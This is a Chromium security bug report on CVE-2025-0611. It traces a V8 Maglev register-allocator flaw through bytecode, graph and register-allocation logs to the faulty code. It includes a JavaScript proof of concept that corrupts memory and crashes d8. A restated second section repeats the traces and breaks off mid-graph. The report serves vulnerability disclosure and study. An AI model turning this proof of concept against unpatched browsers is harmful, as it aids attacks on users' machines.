Object corruption in V8 (CVE-2025-0611)
A bug in V8's Maglev compiler's register allocator incorrectly clears register values for a loop header with a single predecessor that is not a JumpLoop, leading to use of an invalid stack slot and a crash. An attacker could potentially exploit this to cause a denial of service or possibly achieve code execution.
- Fix shipped in 28 days
Security Bug
Important: Please do not change the component of this bug manually.
Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md
Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs
Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp
NOTE: Security bugs are normally made public once a fix has been widely deployed.
VULNERABILITY DETAILS
I will explain why the crash occurred. In order to simplify the Maglev graph, I added the --no-maglev-optimistic-peeled-loops and --no-maglev-loop-peeling flags. These two flags are not necessary to trigger the crash.
1 Start From Bytecode
The bytecode of the opt_me() function is as follows.
....
// if(flag) %OptimizeOsr();
59 S> 0x8c400004020b @ 39 : 0b 03 Ldar a0
0x8c400004020d @ 41 : a1 07 JumpIfToBooleanFalse [7] (0x8c4000040214 @ 48)
76 S> 0x8c400004020f @ 43 : 6c fe 01 f9 00 CallRuntime [OptimizeOsr], r0-r0
// for (let j = 0; j < 1; j++) { }
135 S> 0x8c4000040214 @ 48 : 0c LdaZero
0x8c4000040215 @ 49 : cb Star3
140 S> 0x8c4000040216 @ 50 : 0d 01 LdaSmi [1]
140 E> 0x8c4000040218 @ 52 : 75 f6 00 TestLessThan r3, [0]
0x8c400004021b @ 55 : a3 0b JumpIfFalse [11] (0x8c4000040226 @ 66)
146 S> 0x8c400004021d @ 57 : 0b f6 Ldar r3
0x8c400004021f @ 59 : 57 01 Inc [1]
0x8c4000040221 @ 61 : cb Star3
122 E> 0x8c4000040222 @ 62 : 92 0c 00 02 JumpLoop [12], [0], [2] (0x8c4000040216 @ 50)
// for (let k = 0; k < 1; k++) {
223 S> 0x8c4000040226 @ 66 : 0c LdaZero
0x8c4000040227 @ 67 : cd Star1
228 S> 0x8c4000040228 @ 68 : 0d 01 LdaSmi [1]
228 E> 0x8c400004022a @ 70 : 75 f8 03 TestLessThan r1, [3]
0x8c400004022d @ 73 : a3 47 JumpIfFalse [71] (0x8c4000040274 @ 144)
// const tmp = a1 || 1;
260 S> 0x8c400004022f @ 75 : 0b 04 Ldar a1
0x8c4000040231 @ 77 : a0 04 JumpIfToBooleanTrue [4] (0x8c4000040235 @ 81)
0x8c4000040233 @ 79 : 0d 01 LdaSmi [1]
0x8c4000040235 @ 81 : cc Star2
// use = tmp % 4;
376 S> 0x8c4000040236 @ 82 : 4f 04 04 ModSmi [4], [4]
0x8c4000040239 @ 85 : ca Star4
0x8c400004023a @ 86 : 18 03 LdaCurrentScriptContextSlot [3]
370 E> 0x8c400004023c @ 88 : b4 04 ThrowReferenceErrorIfHole [4]
0x8c400004023e @ 90 : 0b f5 Ldar r4
0x8c4000040240 @ 92 : 29 03 StaCurrentScriptContextSlot [3]
// v = tmp;
429 S> 0x8c4000040242 @ 94 : 18 04 LdaCurrentScriptContextSlot [4]
431 E> 0x8c4000040244 @ 96 : b4 05 ThrowReferenceErrorIfHole [5]
0x8c4000040246 @ 98 : 0b f7 Ldar r2
0x8c4000040248 @ 100 : 29 04 StaCurrentScriptContextSlot [4]
// yield 1
478 S> 0x8c400004024a @ 102 : 0d 01 LdaSmi [1]
0x8c400004024c @ 104 : ca Star4
0x8c400004024d @ 105 : 12 LdaFalse
0x8c400004024e @ 106 : c9 Star5
0x8c400004024f @ 107 : 6f 0e f5 02 InvokeIntrinsic [_CreateIterResultObject], r4-r5
478 E> 0x8c4000040253 @ 111 : b9 f9 f9 04 01 SuspendGenerator r0, r0-r3, [1]
0x8c4000040258 @ 116 : ba f9 f9 04 ResumeGenerator r0, r0-r3
0x8c400004025c @ 120 : ca Star4
0x8c400004025d @ 121 : 6f 09 f9 01 InvokeIntrinsic [_GeneratorGetResumeMode], r0-r0
0x8c4000040261 @ 125 : ab 06 02 00 SwitchOnSmiNoFeedback [6], [2], [0] { 0: @135, 1: @132 }
0x8c4000040265 @ 129 : 0b f5 Ldar r4
478 E> 0x8c4000040267 @ 131 : b1 Throw
0x8c4000040268 @ 132 : 0b f5 Ldar r4
0x8c400004026a @ 134 : b3 Return
// k++ and loop back edge
234 S> 0x8c400004026b @ 135 : 0b f8 Ldar r1
0x8c400004026d @ 137 : 57 05 Inc [5]
0x8c400004026f @ 139 : cd Star1
210 E> 0x8c4000040270 @ 140 : 92 48 00 06 JumpLoop [72], [0], [6] (0x8c4000040228 @ 68)
0x8c4000040274 @ 144 : 0e LdaUndefined
493 S> 0x8c4000040275 @ 145 : b3 Return
There are two loops in the bytecode:
- The range of the bytecode for the first loop is
50~66. After setting%OptimizeOsr();, the jump instruction62: JumpLoopof the first loop will trigger OSR optimization. - The range of the bytecode for the second loop is
68~144. The vulnerability occurs in the handling of this loop.
2 Maglev Graph Buiding
Add the --trace-maglev-graph-building flag to trace the graph building process.
2.1 Initialize
When Initialization, positions 50 and 68 are the jump targets of the JumpLoop bytecode for the two loops, so MergePointInterpreterFrameState objects are created at merge_states_[50] and merge_states_[68] (for simplicity, the loop peel optimization is turned off here).
- Non-standard entrypoint @50 by OSR from @62
...
- Creating loop merge state at @50
- Creating loop merge state at @68
0x5c226139d4b8 n13: CheckpointedJump
2.2 First Loop
The process of handling the first loop is as follows. The interpreter frame state of
Initializing loop state...
<this>: <unregistered node (nil)><> <- n1<> => n1: InitialValue(<this>) → (x), 1 uses<>
a0: <unregistered node (nil)><> <- n2<> => n2: InitialValue(a0) → (x), 1 uses<>
a1: <unregistered node (nil)><> <- n3<> => n3: InitialValue(a1) → (x), 1 uses<>
<context>: <unregistered node (nil)><> <- n4<> => n4: InitialValue(<context>) → (x), 1 uses<>
r0: <unregistered node (nil)><> <- n6<> => n6: InitialValue(r0) → (x), 1 uses<>
r3: <unregistered node 0x5c226139cf38><> <- n9<> => <unregistered node 0x5c226139cf38>: Phi(r3) [n9:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦<>
50 : 0d 01 LdaSmi [1]
== New block (loop header @0x5c226139cd40) at 0x029b00099599 <SharedFunctionInfo opt_me>==
* VOs (Interpreter Frame State):
- Copying frame state from merge @0x5c226139cd40
* VOs (Interpreter Frame State):
* VOs (Merge Frame State):
...
62 : 92 0c 00 02 JumpLoop [12], [0], [2]
0x5c226139f920 n23: ReduceInterruptBudgetForLoop(9)
0x5c226139fa30 n24: JumpLoop
Merging loop backedge...
<this>: n1<> <- n1<> => n1: InitialValue(<this>) → (x), 3 uses<>
a0: n2<> <- n2<> => n2: InitialValue(a0) → (x), 3 uses<>
a1: n3<> <- n3<> => n3: InitialValue(a1) → (x), 3 uses<>
<context>: n4<> <- n4<> => n4: InitialValue(<context>) → (x), 3 uses<>
r0: n6<> <- n6<> => n6: InitialValue(r0) → (x), 3 uses<>
r3: n14<> <- n22<> => n14: Phi(r3) [n9:(x), n25:(x)] → (x), 2 uses<>
The process of handling the first loop is as follows. The interpreter frame state of merge_states_[50] changes twice when handling the first loop:
- At the initialization of the loop, the current interpreter frame state is merged into
merge_states_[50], so the value of ther3register becomesPhi(r3) [n9, nil]. - When handling the loop jump
62: JumpLoop, the current interpreter frame state is also merged intomerge_states_[50]. At this time, the value of ther3register isn22, son22is taken as the input node of thePhinode during the merge, resulting inPhi(r3) [n9, n25].
Therefore, we find that Maglev Graph Building only adds another input node to the Phi node when handling the LoopJump instruction, otherwise the Phi node only has one input node.
2.3 Second Loop
The process of handling the second loop is as follows.
...
68 : 0d 01 LdaSmi [1]
0x5c226139fc60 n27: Jump
Merging...
<this>: n1<> <- n1<> => n1: InitialValue(<this>) → (x), 3 uses<>
a0: n2<> <- n2<> => n2: InitialValue(a0) → (x), 3 uses<>
a1: n3<> <- n3<> => n3: InitialValue(a1) → (x), 3 uses<>
<context>: <unregistered node 0x5c226139d288><> <- n4<> => <unregistered node 0x5c226139d288>: Phi(<context>) [n4:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦<>
r0: <unregistered node 0x5c226139d330><> <- n6<> => <unregistered node 0x5c226139d330>: Phi(r0) [n6:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦<>
r1: <unregistered node 0x5c226139d3d8><> <- n26<> => <unregistered node 0x5c226139d3d8>: Phi(r1) [n26:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦<>
== New block (loop header @0x5c226139cfc0) at 0x029b00099599 <SharedFunctionInfo opt_me>==
* VOs (Interpreter Frame State):
- Copying frame state from merge @0x5c226139cfc0
* VOs (Interpreter Frame State):
* VOs (Merge Frame State):
0x5c226139d288 n28: Phi(<context>) [n4:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦
0x5c226139d330 n29: Phi(r0) [n6:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦
0x5c226139d3d8 n30: Phi(r1) [n26:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦
...
**** Graph construction stops when encountering SuspendGenerator bytecode ****
111 : b9 f9 f9 04 01 SuspendGenerator r0, r0-r3, [1]
0x5c22613a2738 n56: RootConstant(optimized_out) → (x), 0 uses 🪦
0x5c22613a2708 n57: GeneratorStore [n28:(x), n29:(x), n2:(x), n3:(x), n29:(x), n30:(x), n56:(x), n56:(x)]
! Clearing unstable node aspects
0x5c22613a27e0 n58: Return [n50:(x)]
**** Bytecode between 116~140 are Dead ****
116 : ba f9 f9 04 ResumeGenerator r0, r0-r3
== Dead ==
116 : ba f9 f9 04 ResumeGenerator r0, r0-r3
...
140 : 92 48 00 06 JumpLoop [72], [0], [6]
== Dead ==
140 : 92 48 00 06 JumpLoop [72], [0], [6]
We focus on the changes in the interpreter frame state at merge_states_[68].
- When entering the Loop Header through the
Loop Preheader, after merging the interpreter frame state, we can see that thePhinodes corresponding to the two registersr0, r1only have one input node, and the other node isnil, indicating that it does not exist. - When processing the
SuspendGeneratorbytecode, Maglev generates aReturnnode and terminates graph building. This leads to the140: JumpLoopinstruction of the second loop not being processed. Therefore, at the end of the graph building, thePhinodes corresponding to the two registersr0, r1still only have one input node.
2.4 After graph building
The final constructed graph is as follows.
3: InitialValue(a1) → (x), 11 uses
...
first loop ...
│
╰─►Block b4
27: Jump b5 // jump to second loop
│ with gap moves:
│ - n4:(x) → 28: φᵀ <context> (x)
│ - n6:(x) → 29: φᵀ r0 (x)
│ - n26:(x) → 30: φᵀ r1 (x)
▼
Block b5 // second loop
28: φᵀ <context> (n4) (compressed) → (x), 10 uses
29: φᵀ r0 (n6) (compressed) → (x), 7 uses
30: φᵀ r1 (n26) (compressed) → (x), 7 uses
↱ eager @70 (7 live vars)
31: CheckedSmiUntag [n30:(x)] → (x), 2 uses
32: Int32Compare(LessThan) [n31:(x), n17:(x)] → (x), 0 uses 🪦
╭────33: BranchIfInt32Compare(LessThan) [n31:(x), n17:(x)] b6 b10
│ ↓
│ Block b6 // a1 || 1
│╭───34: BranchIfToBooleanTrue [n3:(x)] b8 b7
││ ↓
││ Block b7
││╭──35: Jump b9
│││ with gap moves:
│││ - n15:(x) → 37: φᵀ <accumulator> (x)
│││
│╰─►Block b8
│ │ 36: Jump b9
│ │ │ with gap moves:
│ │ │ - n3:(x) → 37: φᵀ <accumulator> (x)
│ │ ▼
│ ╰►Block b9
│ 37: φᵀ <accumulator> (n3, n15) (compressed) → (x), 7 uses
We need to pay special attention to Block b5, which has two characteristics:
- This is a Loop Header because it is the jump target of the
140: JumpLoopbytecode. - It only has one predecessor, which is
27: Jump b5inBlock b4.
3 Phi untagging
This phase will optimize 37: φᵀ into 37: φᴵ, so all input nodes of Phi need to be converted to Int32 type. Therefore, nodes 64, 65 are added to convert a1 into Int32 type.
3: InitialValue(a1) → (x), 11 uses
64: CheckedNumberOrOddballToFloat64(Number) [n3:(x)] → (x), 1 uses
65: CheckedTruncateFloat64ToInt32 [n64:(x)] → (x), 1 uses
...
first loop ...
│
╰─►Block b4
27: Jump b5 // jump to second loop
│ with gap moves:
│ - n4:(x) → 28: φᵀ <context> (x)
│ - n6:(x) → 29: φᵀ r0 (x)
│ - n26:(x) → 30: φᵀ r1 (x)
▼
Block b5 // second loop
28: φᵀ <context> (n4) (compressed) → (x), 10 uses
29: φᵀ r0 (n6) (compressed) → (x), 7 uses
30: φᵀ r1 (n26) (compressed) → (x), 7 uses
31: CheckedSmiUntag [n30:(x)] → (x), 2 uses
32: Int32Compare(LessThan) [n31:(x), n17:(x)] → (x), 0 uses 🪦
╭────33: BranchIfInt32Compare(LessThan) [n31:(x), n17:(x)] b6 b10
│ ↓
│ Block b6 // a1 || 1
│╭───34: BranchIfToBooleanTrue [n3:(x)] b8 b7
││ ↓
││ Block b7
││╭──35: Jump b9
│││ with gap moves:
│││ - n17:(x) → 37: φᴵ <accumulator> (x)
│││
│╰─►Block b8
│ │ 36: Jump b9
│ │ │ with gap moves:
│ │ │ - n65:(x) → 37: φᴵ <accumulator> (x)
│ │ ▼
│ ╰►Block b9
│ 37: φᴵ <accumulator> (n65, n17) → (x), 8 uses
4 Maglev Register Allocate
Add --trace-maglev-regalloc to view the log of register allocation.
We find that the value of the v20/n65 node will be stored in the rcx register.
Allocating v11/n3 inputs...
Allocating result...
11/3: InitialValue(a1) → [stack:-8|t], live range: [11-53]
live regs:
Allocating v19/n64 inputs...
- v11/n3 has arbitrary register
gap move: [rcx|R|t] ← v11/n3:[stack:-8|t]
- v11/n3 in clobbered [rcx|R|t] ← [rcx|R|t]
...
19/64: CheckedNumberOrOddballToFloat64(Number) [v11/n3:[rcx|R|t]] → [xmm0|R|f64], live range: [19-20]
live regs: rax=v18, xmm0=v19
Allocating v20/n65 inputs...
- v19/n64 has arbitrary register
- v19/n64 in [xmm0|R|f64]
...
20/65: CheckedTruncateFloat64ToInt32 [v19/n64:[xmm0|R|f64]] → [rcx|R|w32], live range: [20-35]
live regs: rax=v18, rcx=v20
constant gap move: [rdx|R|w32] ← v7/n17
Using v18/n63...
freeing v18/n63
However, a strange situation occurred when processing the jump instruction from Block b4 to Block b5: all live regs were cleared, v28/n65 is no longer in rcx, and it was not spilled to the stack either.
...
╰─►Block b4
live regs: rcx=v20, rdx=v7 <=== v20 live in rcx
[holes: 56.]
Using v12/n4...
freeing v12/n4
Using v14/n6...
freeing v14/n6
Using v5/n26...
freeing v5/n26
0x27e30019959d <SharedFunctionInfo opt_me> (0x27e3000472d9 <String[9]: "./test.js">:13:22)
68 : LdaSmi [1]
27/27: Jump b5
│ with gap moves:
│ - v12/n4:[stack:-3|t] → 28: φᵀ <context> v-1(*)
│ - v14/n6:[stack:3|t] → 29: φᵀ r0 v-1(*)
│ - v5/n26:[constant:v-1] → 30: φᵀ r1 v-1(*)
│ with register merges:
▼
Block b5
live regs: <==== no live regs
[holes: 56.]
...
Because the position of the v28/n65 node is invalid, a DCHECK fail will occur when attempting to get the allocation position of this node later.
However, in the release build version, this will continue to execute. When processing 35/36: Jump b9, a gap moves instruction will be generated: (x) → 37: φᴵ, attempting to load a value from an invalid address.
│╭───33/34: BranchIfToBooleanTrue [v11/n3:[rcx|R|t]] b8 b7
││ ↓
││ Block b7
││ live regs: rax=v29, rcx=v11, rdx=v30, rbx=v7, rdi=v28
││ [holes: 34-36 54.]
││ Using v7/n17...
││ freeing v7/n17
││ 81 : Star2
││╭──34/35: Jump b9
│││ with gap moves:
│││ - v7/n17:[rbx|R|w32] → 37: φᴵ <accumulator> v-1(*)
│││ with register merges:
│││
│╰─►Block b8
│ │ live regs: rax=v29, rcx=v11, rdx=v30, rdi=v28
│ │ [holes: 54.]
│ │ Merging registers...
│ │ rax - incoming node same as node: v29/n29
│ │ rcx - incoming node same as node: v11/n3
│ │ rdx - incoming node same as node: v30/n30
│ │ rdi - incoming node same as node: v28/n28
│ │ Using v20/n65...
│ │ freeing v20/n65
│ │ 35/36: Jump b9
│ │ │ with gap moves:
│ │ │ - v20/n65:(x) → 37: φᴵ <accumulator> v-1(*) <==== Here
│ │ │ with register merges:
│ │ ▼
│ ╰►Block b9
This will ultimately lead to the generation of the movq rbx,[rbp-0x58] instruction during assembly. Note: rbp-0x58 points to an invalid position in the stack frame, leading to incorrect memory access.
-- Block b8 - PreProcessBasicBlock@../../src/maglev/maglev-code-generator.cc:788
-- 36: Jump b9 - Process@../../src/maglev/maglev-code-generator.cc:800
-- Gap moves: - EmitBlockEndGapMoves@../../src/maglev/maglev-code-generator.cc:902
-- * (x) → [rbx|R|w32] (n37) - EmitBlockEndGapMoves@../../src/maglev/maglev-code-generator.cc:930
0x5a1b47cc0226 1e6 488b5da8 REX.W movq rbx,[rbp-0x58]
5 Root Casue
Why are the live regs cleared when processing the jump instruction from Block b4 to Block b5?
The root cause lies in the StraightForwardRegisterAllocator::AllocateRegisters() function.
void StraightForwardRegisterAllocator::AllocateRegisters() {
...
for (block_it_ = graph_->begin(); block_it_ != graph_->end(); ++block_it_) {
BasicBlock* block = *block_it_;
current_node_ = nullptr;
if (block->has_state()) {
if (block->state()->is_exception_handler()) {
...
} else if (block->state()->is_resumable_loop() && // <=== Key
block->state()->predecessor_count() <= 1) {
// Loops that are only reachable through JumpLoop start from a blank
// state of register values.
// This should actually only support predecessor_count == 1, but we
// currently don't eliminate resumable loop headers (and subsequent code
// until the next resume) that end up being unreachable from JumpLoop.
ClearRegisterValues();
} else {
InitializeRegisterValues(block->state()->register_state());
}
} else if (block->is_edge_split_block()) {
InitializeRegisterValues(block->edge_split_block_register_state());
}
...
}
}
We need to pay special attention to the branch block->state()->is_resumable_loop() && block->state()->predecessor_count() <= 1.
- If a
BasicBlockis a loop head, and thisBasicBlockonly has one predecessor, then this branch considers this to be a loop that can only be reached byJumpLoop. Such a loop should start from a completely blank register state, so it callsClearRegisterValues()to clear the status of all registers. - However,
Block b5is also a loop head with only one predecessor, but this predecessor comes fromBlock b4'sJump b5, not theJumpLoopinstruction. Therefore, it erroneously enters this branch and callsClearRegisterValues()to clear the values in the current register. This results in the node valuev20/n65stored inrcxbeing cleared.
6 Some Thoughts
The relevant code for is_resumable_loop() in AllocateRegisters() comes from commit: 5e1ebeb9a56632c2f2dcf8837c1153f44052d94a.
This commit was introduced in 2022, meaning this vulnerability has been around for a long time and is deeply hidden.
This vulnerability provides us with a special primitive: constructing a loop header BasicBlock with only one predecessor. This way, during Maglev register allocation, all nodes before this loop can be removed from the register, leading to subsequent uses of these nodes encountering a situation similar to "UAF", accessing values at invalid addresses.
However, triggering a crash with this primitive is somewhat challenging. In some older versions, running this POC would also trigger ClearRegisterValues() during register allocation, erroneously clearing all live regs. For some unknown reasons, this did not lead to a crash, which might require additional constructions. Therefore, performing Commit Bisect based on crashes may not be accurate.
VERSION
poc.js has been tested in the latest version of v8, (commit 4a6960ee2d1be2cfd1e100de8f9b30441f653a43), and it can trigger a crash.
REPRODUCTION CASE
poc.js:
let use = 0;
let v = 0;
function* opt_me(flag, a1) {
// triggering Maglev OSR optimization
if(flag)
%OptimizeOsr();
for (let j = 0; j < 1; j++) {
;
}
for (let k = 0; k < 1; k++) {
const tmp = a1 || 1;
// Triggers type conversion node of a1: OddBallOrHeapNumber=>Float64=>Int32
// Passed to 'use' to avoid being optimized away
use = tmp % 4;
v = tmp;
// Generates SuspendGenerator instruction
yield 1;
}
}
%PrepareFunctionForOptimization(opt_me);
opt_me(false, 123).next();
print(v);
opt_me(false, 123).next();
print(v);
// Maglev OSR optimization
opt_me(true, 123).next();
print(v);
call v8 as followed:
./d8 \
--allow-natives-syntax \
--no-concurrent-recompilation \
./poc.js
crash:
#
# Fatal error in ../../src/maglev/maglev-ir.h, line 2495
# Debug check failed: is_loadable().
#
CREDIT INFORMATION
Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited? Reporter credit: 303f06e3
Context
This is a Chrome VRP report about an object corruption bug in V8, tracked as CVE-2025-0611. The affected component is V8, and the vulnerable code is in Maglev, V8's mid-tier optimising compiler. Maglev builds a graph from bytecode, runs a phi-untagging phase, then allocates registers with StraightForwardRegisterAllocator. The bug is in that register allocator: a loop header with a single predecessor that is not reached through JumpLoop is treated as if it were, and its register state is wiped.
The reporter is credited as 303f06e3. The report contains a full root-cause analysis and a proof of concept.
Setup
The proof of concept is a JavaScript file, poc.js, run under d8 with native syntax enabled and concurrent recompilation disabled. The reporter tested it against V8 at commit [redacted] and it triggered a crash there.
To make the Maglev graph easier to read, the reporter added two flags, --no-maglev-optimistic-peeled-loops and --no-maglev-loop-peeling. These are not required to trigger the crash; they only simplify the graph. Other tracing flags used during the analysis are --trace-maglev-graph-building and --trace-maglev-regalloc.
Finding it
The starting point is the bytecode of opt_me(). It contains two loops. The first loop spans bytecode offsets 50 to 66; after %OptimizeOsr() is called, its JumpLoop at offset 62 triggers OSR optimisation. The second loop spans offsets 68 to 144, and the vulnerability lies in how that second loop is handled.
....
// if(flag) %OptimizeOsr();
59 S> 0x8c400004020b @ 39 : 0b 03 Ldar a0
0x8c400004020d @ 41 : a1 07 JumpIfToBooleanFalse [7] (0x8c4000040214 @ 48)
76 S> 0x8c400004020f @ 43 : 6c fe 01 f9 00 CallRuntime [OptimizeOsr], r0-r0
// for (let j = 0; j < 1; j++) { }
135 S> 0x8c4000040214 @ 48 : 0c LdaZero
0x8c4000040215 @ 49 : cb Star3
140 S> 0x8c4000040216 @ 50 : 0d 01 LdaSmi [1]
140 E> 0x8c4000040218 @ 52 : 75 f6 00 TestLessThan r3, [0]
0x8c400004021b @ 55 : a3 0b JumpIfFalse [11] (0x8c4000040226 @ 66)
146 S> 0x8c400004021d @ 57 : 0b f6 Ldar r3
0x8c400004021f @ 59 : 57 01 Inc [1]
0x8c4000040221 @ 61 : cb Star3
122 E> 0x8c4000040222 @ 62 : 92 0c 00 02 JumpLoop [12], [0], [2] (0x8c4000040216 @ 50)
// for (let k = 0; k < 1; k++) {
223 S> 0x8c4000040226 @ 66 : 0c LdaZero
0x8c4000040227 @ 67 : cd Star1
228 S> 0x8c4000040228 @ 68 : 0d 01 LdaSmi [1]
228 E> 0x8c400004022a @ 70 : 75 f8 03 TestLessThan r1, [3]
0x8c400004022d @ 73 : a3 47 JumpIfFalse [71] (0x8c4000040274 @ 144)
// const tmp = a1 || 1;
260 S> 0x8c400004022f @ 75 : 0b 04 Ldar a1
0x8c4000040231 @ 77 : a0 04 JumpIfToBooleanTrue [4] (0x8c4000040235 @ 81)
0x8c4000040233 @ 79 : 0d 01 LdaSmi [1]
0x8c4000040235 @ 81 : cc Star2
// use = tmp % 4;
376 S> 0x8c4000040236 @ 82 : 4f 04 04 ModSmi [4], [4]
0x8c4000040239 @ 85 : ca Star4
0x8c400004023a @ 86 : 18 03 LdaCurrentScriptContextSlot [3]
370 E> 0x8c400004023c @ 88 : b4 04 ThrowReferenceErrorIfHole [4]
0x8c400004023e @ 90 : 0b f5 Ldar r4
0x8c4000040240 @ 92 : 29 03 StaCurrentScriptContextSlot [3]
// v = tmp;
429 S> 0x8c4000040242 @ 94 : 18 04 LdaCurrentScriptContextSlot [4]
431 E> 0x8c4000040244 @ 96 : b4 05 ThrowReferenceErrorIfHole [5]
0x8c4000040246 @ 98 : 0b f7 Ldar r2
0x8c4000040248 @ 100 : 29 04 StaCurrentScriptContextSlot [4]
// yield 1
478 S> 0x8c400004024a @ 102 : 0d 01 LdaSmi [1]
0x8c400004024c @ 104 : ca Star4
0x8c400004024d @ 105 : 12 LdaFalse
0x8c400004024e @ 106 : c9 Star5
0x8c400004024f @ 107 : 6f 0e f5 02 InvokeIntrinsic [_CreateIterResultObject], r4-r5
478 E> 0x8c4000040253 @ 111 : b9 f9 f9 04 01 SuspendGenerator r0, r0-r3, [1]
0x8c4000040258 @ 116 : ba f9 f9 04 ResumeGenerator r0, r0-r3
0x8c400004025c @ 120 : ca Star4
0x8c400004025d @ 121 : 6f 09 f9 01 InvokeIntrinsic [_GeneratorGetResumeMode], r0-r0
0x8c4000040261 @ 125 : ab 06 02 00 SwitchOnSmiNoFeedback [6], [2], [0] { 0: @135, 1: @132 }
0x8c4000040265 @ 129 : 0b f5 Ldar r4
478 E> 0x8c4000040267 @ 131 : b1 Throw
0x8c4000040268 @ 132 : 0b f5 Ldar r4
0x8c400004026a @ 134 : b3 Return
// k++ and loop back edge
234 S> 0x8c400004026b @ 135 : 0b f8 Ldar r1
0x8c400004026d @ 137 : 57 05 Inc [5]
0x8c400004026f @ 139 : cd Star1
210 E> 0x8c4000040270 @ 140 : 92 48 00 06 JumpLoop [72], [0], [6] (0x8c4000040228 @ 68)
0x8c4000040274 @ 144 : 0e LdaUndefined
493 S> 0x8c4000040275 @ 145 : b3 Return
Exploitation
Step 1: Graph building and merge states
During initialisation, offsets 50 and 68 are the jump targets of the two JumpLoop bytecodes, so MergePointInterpreterFrameState objects are created at merge_states_[50] and merge_states_[68]. With loop peeling turned off, the trace shows:
- Non-standard entrypoint @50 by OSR from @62
...
- Creating loop merge state at @50
- Creating loop merge state at @68
0x5c226139d4b8 n13: CheckpointedJump
Step 2: The first loop
Handling the first loop merges the interpreter frame state into merge_states_[50] twice. At loop initialisation, the r3 register becomes Phi(r3) [n9, nil]. When the JumpLoop at offset 62 is handled, the current frame state is merged again, and n22 becomes the second input, giving Phi(r3) [n9, n25].
Initializing loop state...
<this>: <unregistered node (nil)><> <- n1<> => n1: InitialValue(<this>) → (x), 1 uses<>
a0: <unregistered node (nil)><> <- n2<> => n2: InitialValue(a0) → (x), 1 uses<>
a1: <unregistered node (nil)><> <- n3<> => n3: InitialValue(a1) → (x), 1 uses<>
<context>: <unregistered node (nil)><> <- n4<> => n4: InitialValue(<context>) → (x), 1 uses<>
r0: <unregistered node (nil)><> <- n6<> => n6: InitialValue(r0) → (x), 1 uses<>
r3: <unregistered node 0x5c226139cf38><> <- n9<> => <unregistered node 0x5c226139cf38>: Phi(r3) [n9:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦<>
50 : 0d 01 LdaSmi [1]
== New block (loop header @0x5c226139cd40) at 0x029b00099599 <SharedFunctionInfo opt_me>==
* VOs (Interpreter Frame State):
- Copying frame state from merge @0x5c226139cd40
* VOs (Interpreter Frame State):
* VOs (Merge Frame State):
...
62 : 92 0c 00 02 JumpLoop [12], [0], [2]
0x5c226139f920 n23: ReduceInterruptBudgetForLoop(9)
0x5c226139fa30 n24: JumpLoop
Merging loop backedge...
<this>: n1<> <- n1<> => n1: InitialValue(<this>) → (x), 3 uses<>
a0: n2<> <- n2<> => n2: InitialValue(a0) → (x), 3 uses<>
a1: n3<> <- n3<> => n3: InitialValue(a1) → (x), 3 uses<>
<context>: n4<> <- n4<> => n4: InitialValue(<context>) → (x), 3 uses<>
r0: n6<> <- n6<> => n6: InitialValue(r0) → (x), 3 uses<>
r3: n14<> <- n22<> => n14: Phi(r3) [n9:(x), n25:(x)] → (x), 2 uses<>
The takeaway: graph building only adds a second input to a Phi when it handles a JumpLoop; otherwise the Phi keeps a single input.
Step 3: The second loop
For the second loop, the loop preheader merge leaves the Phi nodes for r0 and r1 with one real input and one nil:
...
68 : 0d 01 LdaSmi [1]
0x5c226139fc60 n27: Jump
Merging...
<this>: n1<> <- n1<> => n1: InitialValue(<this>) → (x), 3 uses<>
a0: n2<> <- n2<> => n2: InitialValue(a0) → (x), 3 uses<>
a1: n3<> <- n3<> => n3: InitialValue(a1) → (x), 3 uses<>
<context>: <unregistered node 0x5c226139d288><> <- n4<> => <unregistered node 0x5c226139d288>: Phi(<context>) [n4:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦<>
r0: <unregistered node 0x5c226139d330><> <- n6<> => <unregistered node 0x5c226139d330>: Phi(r0) [n6:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦<>
r1: <unregistered node 0x5c226139d3d8><> <- n26<> => <unregistered node 0x5c226139d3d8>: Phi(r1) [n26:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦<>
== New block (loop header @0x5c226139cfc0) at 0x029b00099599 <SharedFunctionInfo opt_me>==
* VOs (Interpreter Frame State):
- Copying frame state from merge @0x5c226139cfc0
* VOs (Interpreter Frame State):
* VOs (Merge Frame State):
0x5c226139d288 n28: Phi(<context>) [n4:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦
0x5c226139d330 n29: Phi(r0) [n6:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦
0x5c226139d3d8 n30: Phi(r1) [n26:(x), <unregistered node (nil)>:(x)] → (x), 0 uses 🪦
...
**** Graph construction stops when encountering SuspendGenerator bytecode ****
111 : b9 f9 f9 04 01 SuspendGenerator r0, r0-r3, [1]
0x5c22613a2738 n56: RootConstant(optimized_out) → (x), 0 uses 🪦
0x5c22613a2708 n57: GeneratorStore [n28:(x), n29:(x), n2:(x), n3:(x), n29:(x), n30:(x), n56:(x), n56:(x)]
! Clearing unstable node aspects
0x5c22613a27e0 n58: Return [n50:(x)]
**** Bytecode between 116~140 are Dead ****
116 : ba f9 f9 04 ResumeGenerator r0, r0-r3
== Dead ==
116 : ba f9 f9 04 ResumeGenerator r0, r0-r3
...
140 : 92 48 00 06 JumpLoop [72], [0], [6]
== Dead ==
140 : 92 48 00 06 JumpLoop [72], [0], [6]
When SuspendGenerator is reached, Maglev emits a Return node and stops building the graph. The JumpLoop at offset 140 is never processed, so the Phi nodes for r0 and r1 keep a single input at the end of graph building.
The resulting graph has a second loop header, Block b5, with two properties: it is a loop header because it is the target of the JumpLoop at offset 140, and it has only one predecessor, 27: Jump b5 in Block b4.
3: InitialValue(a1) → (x), 11 uses
...
first loop ...
│
╰─►Block b4
27: Jump b5 // jump to second loop
│ with gap moves:
│ - n4:(x) → 28: φᵀ <context> (x)
│ - n6:(x) → 29: φᵀ r0 (x)
